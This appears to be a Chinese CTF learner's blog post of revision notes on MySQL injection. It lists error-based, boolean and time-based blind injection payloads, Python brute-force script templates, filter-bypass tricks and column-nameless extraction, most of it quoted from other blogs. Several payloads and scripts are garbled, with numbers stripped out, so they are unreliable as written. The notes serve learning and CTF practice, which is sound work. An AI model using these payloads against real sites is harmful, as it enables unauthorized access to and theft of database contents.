Mysql注入汇总!!!!!!!!!
师傅tpl!!!!!
https://xz.aliyun.com/t/7169[对MYSQL注入相关内容及部分Trick的归类小结]
https://www.jianshu.com/p/f2611257a292[学习笔记——从头学sql注入]
https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/【smi1e师傅的学习笔记】
https://github.com/CHYbeta/Web-Security-Learning#sql%E6%B3%A8%E5%85%A5
https://skysec.top/2017/07/19/sql%E6%B3%A8%E5%85%A5%E7%9A%84%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7%E5%8E%9F%E7%90%86/【sql注入的一些技巧原理】
最近看师傅们的blog复习了一下,真的很全面。
记录一下复习的过程:
一些必须知道的函数与符号:
#摘自byc师傅的博客,师傅的博客我已经放到上面了 user() :当前使用者的用户名 database():当前数据库名 version():数据库版本 datadir:读取数据库的绝对路径 concat()/concat_ws():多个字符串连接成几个字符串 group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据//常见于注入 //常见于布尔盲注 length():返回字符串的长度 substr():截取字符串 mid():截取字符串 ascii():返回字符的ascii码 //常见于时间盲注 sleep(): 函数延迟代码执行若干秒 //用于注释的符号,或者效果等同于注释的 # --+ or '='1//闭合单引号 or 闭合双引号,以此类推补充弄:@@vasedir
:mysql安装路径@@version_compile_os
:操作系统~ 一元字符反转
原理:
我认为原理基本就是 由于对用户的输入没有进行严格的控制与过滤,导致一些恶意语句与后端的sql语句拼接,带入查询.
思路:
可以先进行fuzz看有无回显,回显考虑联合查询,无回显可以考虑报错以及盲注。具体的注入过程要fuzz环境下数据库的版本、过滤的规则、等等......再选择合适的方法去bypass
报错注入:::::::(通过特殊函数错误使用,输出错误信息的同时带出我们想要非法访问的信息)
常用的一些函数:
1.exp()------->返回e的x方结果
报错原理:mysql记录的double数值有限,超限则报错
payload:exp(~(select * from(select user())a)) ~讲字符串处理变成大整数,放入exp函数中,超过数组范围,报错
2.floo() 与 rand()
floor(rand(0)*2),同时配合group by 与 concat()
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
要注意的一点:数据表需要三条及以上数据才能报错........
原理去看一下师傅的blog吧:https://xz.aliyun.com/t/7169#toc-18
3.updatexml()
updatexml(XML_document, XPath_string, new_value);
一般在xpath参数位置写入我们要查询的内容
payload:updatexml(1,concat(0x7e,version(),0x7e),1)
原理:由于参数格式不正确产生错误,Xpath_string需要Xpath格式的字符串,但是我们用了concat将version()函数转为字符串,不符合格式报错。。。
4.extractvalue()
and (extractvalue(1,concat(0x7e,(sql语句)),0x7e))
但是这个方法只能爆出32位,如果要查询的内容太长,可以引用mid()函数。
例如:
' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),29,60)))
5.还有一些几何函数:直接摘用师傅blog里的
GeometryCollection():id=1 AND GeometryCollection((select * from (select* from(select user())a)b)) polygon():id=1 AND polygon((select * from(select * from(select user())a)b)) multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b)) multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b)) linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b)) multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))
疑问::这里多层的语句查找是为什么??? 是为了防止过滤空格吗?????
6.不存在的函数
7.bigint数值操作:
原理:当mysql数据库的某些边界数值进行数值运算时,会报错
payload:
8.name_const() 只能查库版本
payload: select * from(select name_const(version(),0x1),name_const(version(),0x1))a
9.uuid相关的函数
版本:8.0.
SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=)); SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=));
10.jojin using()注列名
select * from(select * from users a join (select * from users)b)c; select * from(select * from users a join (select * from users)b using(username))c; select * from(select * from users a join (select * from users)b using(username,password))c
11.GTID相关:
); ,),,)),); );
盲注:::::::::::
写脚本跑;;;
布尔盲注:::::::
1.left() left(1,2) 从左截取 1 的前 2位
left(database(),)>’s’
2. ascii()与substr()
二分法:::
ascii(substr((,))=
3.regexp()
正则判断:
select user() regexp('^ro')
下面附上byc师傅blog上大致的脚本模板:
import requests url='' flag='' ,): a= ,): payload="1' or ascii(substr((select flag from flag),{0},1))={1}#" data=payload.format(i,j) res=requests.post(url,data=data)#data依据可注入点而定 if('abc' in res.text)#此处依照正确的回显内容而定 flag+=chr(j) print(flag) a= : break
时间盲注::::
ascii + substr sleep if(a,b,c)
exp:摘自byc师傅的blog
import requests url='' flag='' ,): print(i) a= payload="1' or select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)#" ,): data={'} try: result=requests.post(url,data=data,timeout=) except requests.exceptions.ReadTimeout: flag+=chr(j) print(flag) a= break : break
还可以用: benchmark(),以及复杂运算的函数都可以用。。。。。
例如:
笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟
常见的绕过:::(一般过滤都是正则,如果可以看到源码要注意观察,如果看不到,就多fuzz8)
ban空格:::
, %0a, %0b, %0c, %0d, %a0,%20改用+号拼接语句括号嵌套:::例如 select user() from ---->select(user())froom
and/or 被ban
.双写 .逻辑运算符 && || ^ .拼接=号 例如: ?id==(.....)
逗号被ban
.join语句代替 .改用盲注 .substr(data )====substr(data,,) limit offset ====== limit ,
ban一些特殊的函数,词组
sleep()<==>benchmark() concat_ws()<==>group_concat()//还是有区别的,但是效果一致 mid()、substr() <==> substring()if语句可替换为 case when(条件) then 代码 else 代码 end 代码例如:
select case when substring((select user()) from {0} for 1)={1} then sleep(5) else 1 end
====
===if(substring((select user()) from {0} for 1)={1},sleep(5),1)
information_schema === sys.schema_auto_increment_columns 版本要求 mysql5.7+ information_schema$schema_flattened_keys
===sys.schema_table_statistics 也要求 5.7+(当information_schema.tables被ban,一般也无法得到列名information_schema.columns 可直接考虑无列名注入)
handle可以代替select 查询:
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名 handler yunensec read first; #读取指定表/句柄的首行数据 handler yunensec read next; #读取指定表/句柄的下一行数据 handler yunensec read next; #读取指定表/句柄的下一行数据 ... handler yunensec close; #关闭句柄
还有一些特殊情况::: 题目并不ban select和union 但是union select同时出现时就被ban了 可以采取正则回溯bypss 以下解释直接引用 https://xz.aliyun.com/t/7169#toc-47 PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为 100万),那么正则停止,返回未匹配到数据。 构造payload:union/*100万个a,充当垃圾数据*/select即可绕过正则判断
无列名盲注:::
1.直接引用https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
以及byc师傅的blog
普通sql注入
select * from users
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+ | id | name | password | email | birthdate | added | +----+--------------+------------------------------------------+-----------------------------+------------+---------------------+ | | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org | -- | -- :: | | | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn.amelie@example.com | -- | -- :: | | | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | stefan41@example.com | -- | -- :: | | | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | zwalsh@example.com | -- | -- :: | | | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | pattie.medhurst@example.net | -- | -- :: | +----+--------------+------------------------------------------+-----------------------------+------------+---------------------+ rows in set (0.00 sec)
改一下语句 ,,,, ,6union select * from users
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+ | | | | | | | +---+--------------+------------------------------------------+-----------------------------+------------+---------------------+ | | | | | | | | | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org | -- | -- :: | | | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn.amelie@example.com | -- | -- :: | | | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | stefan41@example.com | -- | -- :: | | | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | zwalsh@example.com | -- | -- :: | | | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | pattie.medhurst@example.net | -- | -- :: | +---+--------------+------------------------------------------+-----------------------------+------------+---------------------+ rows in set (0.00 sec)
单独引用某一列 使用反引号:
` ,,,,, union select * from users)a;
+-----------------------------+ | | +-----------------------------+ | | | veronica80@example.org | | sawayn.amelie@example.com | | stefan41@example.com | | zwalsh@example.com | | pattie.medhurst@example.net | +-----------------------------+ rows in set (0.00 sec)
如果反引号被过滤::
,, , union select * from users)a;
+-----------------------------+ | b | +-----------------------------+ | | | veronica80@example.org | | sawayn.amelie@example.com | | stefan41@example.com | | zwalsh@example.com | | pattie.medhurst@example.net | +-----------------------------+ rows in set (0.00 sec)
无列名盲注还可以用 order by 比较注入:
这个不太熟悉,直接引用师傅的bloghttps://xz.aliyun.com/t/7169#toc-36
这种方法运用的情况比较极端一些,如布尔盲注时,字符截取/比较限制很严格。例子: limit )='r' 如果能一眼看出原理的话就不需要继续看下去了。 实际上此处是利用了order by语句的排序功能来进行判断的。若我们想要查询的数据开头的首字母在字母表的位值比我们判断的值要靠后,则limit语句将不会让其输出,那么整个条件将会成立,否之不成立。 利用这种方法可以做到不需要使用like、rlike、regexp等匹配语句以及字符操作函数。 再举个例子: select username,flag,password from users where username='$username;' 页面回显的字段为:username与password,如何在union与flag两单词被拦截、无报错信息返回的情况下获取到用户名为admin的flag值? 我们前边讲到了无列名注入,通过使用union语句来对未知列名进行重命名的形式绕过,还讲过通过使用join using()报错注入出列名。但现在,这两种方法都不可以的情况下该如何获取到flag字段的内容? 使用order by可轻松盲注出答案。payload: , order by 与之前的原理相同,通过判断前后两个select语句返回的数据前后顺序来进行盲注
还有就是二次注入,宽字节注入,堆叠注入(强网杯随便注做过笔记https://www.cnblogs.com/tiaopidejun/p/12333170.html)
Latin 1 默认编码(这个没咋看懂,没事再去师傅blog研究研究吧https://xz.aliyun.com/t/7169#toc-14)
----------
顺提一点PDO场景注入 ---swpuCTF web4 以及GYCTFeasysqli_copy
最新文章
- MySQL [Warning]: IP address &#39;xxxx&#39; could not be resolved: Name or service not known
- WAMP中phpMyAdmin登陆不了问题的解决方法
- 循序渐进Python3(五) -- 初识模块
- 他们在军训,我在搞OI(三)
- Android平台程序崩溃的类型及原因列举
- log4N配置方式
- js显示时间
- Spring Data Redis—Pub/Sub(附Web项目源码) (转)
- JAVA运行程序代码段
- 静态代码扫描工具PMD定制xml的规则(一)操作篇
- mysql,jdbc、连接池
- ios开发中字符串的常用功能总结
- [django]form的content-type(mime)
- ubuntu set/unset proxy
- win7 精简板 安装ardunio uno r3驱动
- python 列表求和
- wireMock快速伪造restful服务
- 图论&;数学:拉姆齐(Ramsey)定理
- Nginx+Windows负载均衡(转载)
- linux启动过程⭐